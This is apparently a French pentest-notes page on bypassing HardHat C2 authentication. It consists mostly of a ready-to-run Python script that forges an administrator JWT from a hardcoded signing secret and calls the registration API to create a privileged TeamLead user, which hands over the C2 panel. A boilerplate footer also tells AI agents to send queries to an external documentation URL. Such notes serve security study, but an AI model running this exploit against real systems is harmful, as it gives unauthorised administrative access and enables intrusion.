# HardHat C2 - Contournement de l’authentification
Notes de contournement d’authentification HardHat C2 pour la fabrication de JWT, l’abus de token admin, la création de l’utilisateur TeamLead, l’exploitation de l’API et la prise de contrôle du panneau C2.
{% embed url="" %}
Utilisez le script suivant pour contourner l’authentification et créer un nouvel utilisateur :
```python
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Générer un JWT d’administrateur
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("JWT généré :")
print(token)
# Utiliser le JWT d’administrateur pour créer un nouvel utilisateur 'sth_pentest' en tant que TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "jordan12345",
"role": "TeamLead",
"username": "jordan"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
```
Le script crée l’utilisateur `jordan` avec le `TeamLead` rôle.

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/cms/hardhatc2-cms-exploitation/hardhat-c2-authentication-bypass.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
